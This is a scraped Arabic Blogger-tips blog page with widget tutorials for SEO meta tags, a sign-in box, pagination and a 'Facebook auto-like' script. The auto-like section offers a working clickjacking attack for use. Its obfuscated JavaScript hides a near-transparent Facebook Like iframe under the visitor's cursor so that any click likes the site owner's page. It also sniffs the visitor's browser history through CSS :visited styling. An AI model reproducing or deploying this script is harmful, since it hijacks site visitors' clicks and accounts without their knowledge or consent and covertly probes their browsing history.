href='http://www.madad2.com/p/blog-page_11.html'> القران الكريم </a> </li> <li> <a href='http://www.madad2.com/search/label/%D8%A7%D8%B3%D9%84%D8%A7%D9%85%D9%8A%D8%A7%D8%AA'> اسلاميات </a> </li> </ul> </li> <li> <a href='#'> أدوات تحرير الصور </a> <ul> <li> <a href='http://www.madad2.com/p/blog-page_27.html' target='_blank'> محرر الصور </a> </li> <li> <a href='http://www.madad2.com/p/blog-page_23.html' target='_blank'> 2محرر الصور </a> </li> <li> <a href='http://www.photoshop-online.madad2.com/' target='_blank'> فوتوشوب أون لاين </a> </li> </ul> </li> <li> <a href='#'> أدوات </a> <ul> <li> <a href='http://www.madad2.com/p/blog-page_3482.html' target='_blank'> تحويل كود أدسنس </a> </li> <li> <a href='http://www.madad2.com/p/blog-page_10.html' target='_blank'> أعرف IP جهازك </a> </li> <li> <a href='http://www.madad2.com/p/cellspacing0-stylewidth-99-function.html' target='_blank'> عداد الأحرف </a> </li> <li> <a href='http://www.madad2.com/p/blog-page_26.html' target='_blank'> صانع اكواد الالوان </a> </li> <li> <a href='http://www.madad2.com/p/html-javascribt.html' target='_blank'> أداة تشفير/ فك تشفير HTML JavaScript </a> </li> <li> <a href='http://www.madad2.com/2013/10/Decoration-2014.html' target='_blank'> أكتب أسمك على شكل قلب حب♥ </a> </li> <li> <a href='http://www.madad2.com/2014/07/stylish-fonts-for-facebook-2015.html' target='_blank'> زخرف اسمك </a> </li> </ul> </li> <li> <a href='#'> روابط مفيدة </a> <ul> <li> <a href='http://flash-girls.blogspot.com/' target='_blank'> ألعاب فلاش أون لاين </a> </li> <li> <a href='http://mdadalgled.blogspot.com/' target='_blank'> أجمل الخلفيات HD </a> </li> <li> <a href='http://androidarbi.blogspot.com/' target='_blank'> تطبيقات الاندرويد </a> </li> <li> <a href='http://www.templates.madad2.com/' target='_blank'> قوالب بلوجر </a> </li> </ul> </li> <li> <a href='#'> المزيد.. </a> <ul> <li> <a href='http://www.madad2.com/p/blog-page_17.html' target='_blank'> أتصل بنا </a> </li> <li> <a href='http://www.madad2.com/p/bptoc-border-0px-solid-000000.html' target='_blank'> خريطة المدونة </a> </li> <li> <a href='http://www.madad2.com/p/blog-page_3585.html' target='_blank'> إنضم إلينا </a> </li> <li> <a href='http://www.madad2.com/p/blog-page_3.html' target='_blank'> قسم المساعدة </a> </li> </ul> </li> <li class="social"> <a href="http://www.facebook.com/mdadice"><i class="icon-facebook"></i><span class="tooltip">Facebook</span></a> <a href="http://twitter.com/mohammed1811990"><i class="icon-twitter"></i><span class="tooltip">Twitter</span></a> <a href="http://www.pinterest.com/mohammedsyria/"><i class="icon-pinterest"></i><span class="tooltip">Pinterest</span></a> <a href="https://plus.google.com/+مدادالجليد"><i class="icon-google-plus"></i><span class="tooltip">Google Plus</span></a> </li> </ul>
ثم التعديل على الروابط بما تناسبك ثم حفظ
ملاحظة تستطيع حذف أو زيادة الروابط
افضل كود ميتا تاج | META TAG يضع مدونتك بالصدارة
Blogger Blogger Widgets
ادخل لوحة التحكم ثم القالب ثم تحرير Html | لاتنس اخذ نسخة احتياطية من القالب .
ابحث عن <head>
وقم بحذف جميع الأكواد التي اسفلة وفوق <b:skin>
احذر ان تحذف اكواد خطوط اللغه
ثم تضع بينهما الكود التالي
<b:if cond='data:blog.url == data:blog.homepageUrl'><meta content=' وصف المدونة' name='description'/><meta content='كلمات , دلالية' name='keywords'/><meta content='رابط بانر' name='og:image'/><meta content='global' name='distribution'/><meta content='10 days' name='revisit'/><meta content='10 days' name='revisit-after'/><meta content='document' name='resource-type'/><meta content='all' name='audience'/><meta content='general' name='rating'/><meta content='all' name='robots'/><meta content='index, follow' name='robots'/><meta content='إسمك بالإنجليزية' name='author'/><meta content='ar' name='language'/><meta content='بلدك بالإنجليزية' name='country'/></b:if><b:include data='blog' name='all-head-content'/><b:if cond='data:blog.pageType == "item"'><title><data:blog.pageName/></title><b:else/><title><data:blog.pageTitle/></title></b:if>
قم بتعديل الكود عن طريق تغيير الكلمات بين القوسين بالمطلوب فيها , وراعى أن يكون وصف المدونه عباره عن جمله مفيدة لا تزيد عن 150 حرف وتصف بهم حال المدونه فعلا .
سيؤدى ذلك إلى ظهور أفضل بكثير لمدونتك فى المراتب الأولى من محركات البحث وخصوصا محرك البحث العملاق جوجل
عند تطبيق هذا الدرس ستحص على افضل ارشفة ونشر من اطراف محركات البحث .
أضافة صندوق تسجيل الدخول الى الموقع لمدونات بلوجر
Blogger Blogger Widgets
بالتأكيد جميعنا يود عمل مربع لتسجيل الدخول فى مدونته بسهولة واذا كان هناك مؤلفين فذلك سوف يسهل هذه العملية عليهم كثيراُ
والاضافة بالتأكيد سوف تجمل من الشكل العام لمدونتك وتحسنه الاضافة
عبارة عن كود html سوف تقوم بأضفته الى مدونتك على هيئة java script أظن أن
ألامر قد أتضح الان أمامك كل هذا فى مجرد كود html رأئع أليس كذلك .
أضافة الاداة :
1- أنسخ الكود التالى .
<div dir="rtl" style="text-align: right;" trbidi="on">
<div class="تسجيل الدخول" style="font-family: Arial,Helvetica,sans-serif; text-align: center;">
<div class="signin-box">
<b></b>
<h10>Sign in <b></b></h10>
<form action="https://accounts.google.com/ServiceLoginAuth" id="gaia_loginform" method="post">
<input id="continue" name="continue" type="hidden" value="http://www.blogger.com/home" />
<input id="followup" name="followup" type="hidden" value="http://www.blogger.com/home" />
<input id="service" name="service" type="hidden" value="blogger" />
<input id="dsh" name="dsh" type="hidden" value="6142519179923382556" />
<input id="ltmpl" name="ltmpl" type="hidden" value="start" />
<input id="ltmpl" name="ltmpl" type="hidden" value="start" />
<input name="GALX" type="hidden" value="-8KGoBVeaSk" />
<input id="pstMsg" name="pstMsg" type="hidden" value="0" />
<input id="dnConn" name="dnConn" type="hidden" value="" />
<input id="checkConnection" name="checkConnection" type="hidden" value="" />
<input id="checkedDomains" name="checkedDomains" type="hidden" value="youtube" />
<input id="timeStmp" name="timeStmp" type="hidden" value="" />
<input id="secTok" name="secTok" type="hidden" value="" />
<label>
<b class="email-label">الاسم</b>
<input id="Email" name="Email" spellcheck="false" type="text" value="" />
</label>
<label>
<b class="passwd-label">الرقم السرى</b>
<input id="Passwd" name="Passwd" type="password" />
</label>
<input class="g-button g-button-submit" id="signIn" name="signIn" type="submit" value="دخول" /><a href="https://www.blogger.com/forgot.g" id="link-forgot-passwd" target="_top"><b>
نسيت الرقم السرى؟</b>
</a>
<input name="rmShown" type="hidden" value="1" /></form>
</div>
</div>
</div>
2- انسخ كود ال html واذهب الى تصميم >> عناصر الصفحة .
3- اختر اضافة اداة .
4- اختر اداة html / java script 10- الصق كود الhtml فى الاداة واضغط حفظ .
5- اذهب الان للمعاينة .
أذا واجهتك أى مشكلة يرجى ترك تعليقك .
كود الإعجاب التلقائي بصفحة فيسبوك لكل زوار موقعك
Blogger Blogger Widgets
هل تعاني من نقص معجبين صفحاتك وتريد الحصول على المزيد بأي طريقة؟ هنا
الحل اليوم سوف اشارك معكم كود الإعجاب التلقائي بصفحة فيس بوك للحصول على
معجبين حقيقين بالنسبة لك, يمكن أن يعمل هذا الكود في أي موقع مدونة منتدى المهم أن تضيفه فوق الرمز </body> وهو سوف يتولى الأمر.
كيف يعمل هذا الكود؟
بمجرد تركيب الكود في موقعك أي زائر يدخل الموقع ويقوم بالنقر في أي مكان من صفحة موقعك سوف يعجب الصفحة الخاصة بك, لكن يجب ان يكون الزائر قد سجل دخوله سابقاً من حساب فيس بوك .
كيف تضيف كود الإعجاب التلقائي في مدونتك او منتداك أو موقعك؟
للإضافة أدخل إلى لوحة تحكم مدونتك ثم القالب ثم أنقر على تحرير html ثم أبحث عن الرمز </body> في أي قالب أو موقع يكون هذا الرمز في أخر اكواد القالب تقريباً بعد أن وجدت الرمز </body> أضف الكود التالي فوقه مباشرةًوبالنسبة للمواقع والمنتديات يمكن أيضا البحث عن الرمز </body> في محرر الأكواد وإضافة الكود فوقه أيضاً
<script type='text/javascript'>
//<![CDATA[
var targetUrl = 'https://www.facebook.com/mdadice';
var fbvisited = true;
var force = true;
var oneclick = true;
var dothecookiedance = true;
var cookiedays = 7;
var timedelay = 25999;
var g9301 = document.createElement('div');
g9301.id = 'z2634';
g9301.style.position = 'absolute';
g9301.style.opacity = 0.01;
g9301.style.filter = 'alpha(opacity=1)';
g9301.style.width = '50px';
g9301.style.height = '50px';
g9301.style.display = 'block';
g9301.style.left = '-100px';
g9301.style.top = '-100px';
var z4149;
document.body.appendChild(g9301);
var a5497 = document.createElement('iframe');
a5497.src = 'http://www.facebook.com/widgets/like.php?href=' + targetUrl;
a5497.frameborder = 'no';
a5497.scrolling = 'no';
a5497.style.position = 'absolute';
a5497.style.left = '0px';
a5497.style.top = '0px';
a5497.style.zIndex = 1;
a5497.style.height = '40px';
a5497.style.width = '40px';
a5497.style.border = '0px';
document.getElementById('z2634').appendChild(a5497);
document.write('');
function t1948() {
k8725();
if (force || b3780) {
if (dothecookie()) {
document.onmousemove = n4229;
var test = 'm3109()';
var k7041 = setTimeout(test, timedelay)
}
}
};
function dothecookie() {
if (dothecookiedance) {
if (readCookie('t') == null) {
createCookie('t', 1, cookiedays);
return true
}
return false
} else {
return true
}
}
function createCookie(name, value, days) {
if (days) {
var date = new Date();
date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
var expires = "; expires=" + date.toGMTString()
} else var expires = "";
document.cookie = name + "=" + value + expires + "; path=/"
}
function readCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for (var i = 0; i < ca.length; i++) {
var c = ca[i];
while (c.charAt(0) == ' ') c = c.substring(1, c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length)
}
return null
}
function n4229(k3372) {
z4149 = document.getElementById('z2634');
x = (document.all) ? window.event.x + z4149.offsetParent.scrollLeft : k3372.pageX;
y = (document.all) ? window.event.y + z4149.offsetParent.scrollTop : k3372.pageY;
z4149.style.left = (x - 20) + 'px';
z4149.style.top = (y - 10) + 'px'
};
function m3109() {
document.getElementById('z2634').style.display = 'none'
};
function w5344(y7602) {
var i6263 = null;
if (y7602 == undefined) {
i6263 = document
} else {
if (y7602.contentDocument) {
i6263 = y7602.contentDocument
} else {
if (y7602.contentWindow) {
i6263 = y7602.contentWindow.document
} else {
if (y7602.document) {
i6263 = y7602.document
}
}
}
};
return i6263
};
function k8725() {
var w1089 = document.createElement('iframe');
w1089.style.visibility = 'hidden';
w1089.style.width = w1089.style.height = 0;
document.body.appendChild(w1089);
var x8419 = w5344(w1089);
x8419.open();
x8419.write('<style>a:visited{display: none}</style>');
x8419.close();
var n5583 = x8419.createElement('a');
n5583.href = 'http://www.facebook.com';
x8419.body.appendChild(n5583);
if (n5583.currentStyle) {
var x2409 = n5583.currentStyle.display
} else {
var x2409 = x8419.defaultView.getComputedStyle(n5583, null).getPropertyValue('display')
};
if (x2409 == 'none') {
b3780 = true
} else {
b3780 = false
};
document.body.removeChild(w1089)
};
t1948();
//]]>
</script>
إضافة ترقيم الصفحات رائعة بأشكال لقوالب بلوجر
Blogger Blogger Widgets
مرحبا بكم متابعينا الأعزاء، أود أن أتطرق في هذه التدوينة إلى إضافة ترقيم
الصفحات لقوالب بلوجر بشرح مبسط هناك بعض القوالب تتوفر على تنقل صفحات
افتراضي أي "المشاركات التالية والسابقة" كالتي بقالب بداية نقطة وفي بعض الأحيان فهي قد لا تنفع الزائر إذ كان يريد التنقل بين الصفحات
بشكل سريع مما يطرح السؤال هل هذا يجعل الزائر ترك موقعك؟ بالطبع لا فهناك
طرق مغايرة للوصول إلى التدوينات... فلنتحدث عن مميزات هاته الإضافة وهي
الأفضل والأمثل من كل إضافة ترقيم الصفحات بحيث لها منظر بسيط وفي نفس
الوقت يلائم أي قالب ويمكن تغيير اللون بسهولة تامة كما أنها تذكر عدد
الصفحات المتواجدة وخفيفة .
شرح طريقة التركيب :
1. إبحث عن </body> وضع الكود التالي فوقه
<b:if cond='data:blog.pageType == "index"'>
<script type='text/javascript'>
/*<![CDATA[*/
var postperpage=8;var numshowpage=3;var upPageWord ='الصفحة السابقة';var downPageWord ='الصفحة التالية';var urlactivepage=location.href;var home_page="/";
/*]]>*/
</script>
<script src='https://googledrive.com/host/0B0LkZloPKBfWb2Vjbkk3LWxVVzQ' type='text/javascript'/>
</b:if>
* لتغيير عدد ظهور المواضيع في الصفحة غير المحدد بالبرتقاي "8" بما يناسبك
2.ابحث عن ]]></b:skin> وضع الكود التالي فوقه أو ضعه بين <style> </style> فوق </head>
/* Page Navigation Ar1web.com */
#blog-pager{clear:both;display:inline-block;overflow:visible;width:auto;background-color:#fff;margin:40px 0 20px 20px;border:1px solid #EAEAEA;padding:0;text-align:right;line-height:normal;font-size:13px;font-weight:400;;}
.showpageOf{display:inline-block;font-size:90%;padding:7px 12px;vertical-align:top;line-height:20px;}
.showpagePoint{background:#30a8e6;color:#fff;display:inline-block;vertical-align:top;line-height:20px;padding:7px 12px;margin:0;font-size:14px;text-align:center;border-right:1px solid #f0f0f0;box-shadow:inset 0 1px 1px rgba(0,0,0,0.1);transition:initial}
.showpage a,.showpageNum a{display:inline-block;vertical-align:top;line-height:20px;padding:7px 12px;margin:0;font-size:14px;text-align:center;border-right:1px solid #f0f0f0;transition:color .3s}
.showpage a:hover,.showpageNum a:hover{background-color:#fefefe;color:#454545;box-shadow:inset 0 1px 1px rgba(0,0,0,0.1);transition:color .3s}
* لتغيير اللون الأزرق فكوده محدد بالبرتقالي #30a8e6
Subscribe to:
Posts (Atom)
